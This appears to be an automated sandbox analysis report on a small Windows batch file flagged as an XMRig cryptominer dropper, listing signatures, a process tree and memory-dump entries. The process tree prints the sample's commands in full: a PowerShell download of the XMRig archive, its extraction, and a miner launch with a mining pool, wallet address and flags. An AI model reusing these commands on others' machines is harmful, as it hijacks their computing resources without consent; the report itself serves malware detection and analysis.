Analysis
- max time kernel
1781s - max time network
1792s - platform
windows10-1703_x64 - resource
win10-20231220-en - resource tags
- submitted
01/01/2024, 03:11
General
- Target tesy - Copy (13).bat
- Size 608B
- Sample240101-dppkasdcf5
- SHA256 97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 59 IoCs
- Blocklisted process makes network request 2 IoCs
- Executes dropped EXE 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
memory/2960-116-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp
memory/2960-40-0x0000017071A80000-0x0000017071A90000-memory.dmp
memory/2960-39-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp
memory/2960-65-0x0000017071A80000-0x0000017071A90000-memory.dmp
memory/2960-92-0x0000017071E40000-0x0000017071E4A000-memory.dmp
memory/2960-41-0x0000017071A80000-0x0000017071A90000-memory.dmp
memory/2960-79-0x0000017072040000-0x0000017072052000-memory.dmp
memory/4008-10-0x00000238D56D0000-0x00000238D5746000-memory.dmp
memory/4008-8-0x00000238BCEC0000-0x00000238BCED0000-memory.dmp
memory/4008-9-0x00000238BCEC0000-0x00000238BCED0000-memory.dmp
memory/4008-25-0x00000238BCEC0000-0x00000238BCED0000-memory.dmp
memory/4008-26-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp
memory/4008-27-0x00000238BCEC0000-0x00000238BCED0000-memory.dmp
memory/4008-5-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp
memory/4008-28-0x00000238BCEC0000-0x00000238BCED0000-memory.dmp
memory/4008-33-0x00007FFE061F0000-0x00007FFE06BDC000-memory.dmp
memory/4008-4-0x00000238D5620000-0x00000238D5642000-memory.dmp
memory/4888-177-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-167-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-121-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-122-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-124-0x0000028ACAEF0000-0x0000028ACAF10000-memory.dmp
memory/4888-123-0x0000028ACACC0000-0x0000028ACACE0000-memory.dmp
memory/4888-125-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-126-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-128-0x0000028ACAEF0000-0x0000028ACAF10000-memory.dmp
memory/4888-127-0x0000028ACACC0000-0x0000028ACACE0000-memory.dmp
memory/4888-129-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-130-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-131-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-132-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-133-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-187-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-186-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-185-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-184-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-183-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-182-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-181-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-180-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-179-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-178-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-119-0x0000028A36C00000-0x0000028A36C20000-memory.dmp
memory/4888-176-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-175-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-174-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-173-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-172-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-171-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-170-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-169-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-168-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-120-0x0000028ACA880000-0x0000028ACA8A0000-memory.dmp
memory/4888-166-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-165-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-164-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-163-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-162-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-161-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-160-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-159-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-158-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-157-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-156-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-155-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-154-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-153-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-152-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-151-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-150-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-149-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-148-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-147-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-146-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-145-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-144-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-143-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-142-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-141-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-140-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-139-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-138-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-137-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-136-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-135-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp
memory/4888-134-0x00007FF79A2D0000-0x00007FF79ADD3000-memory.dmp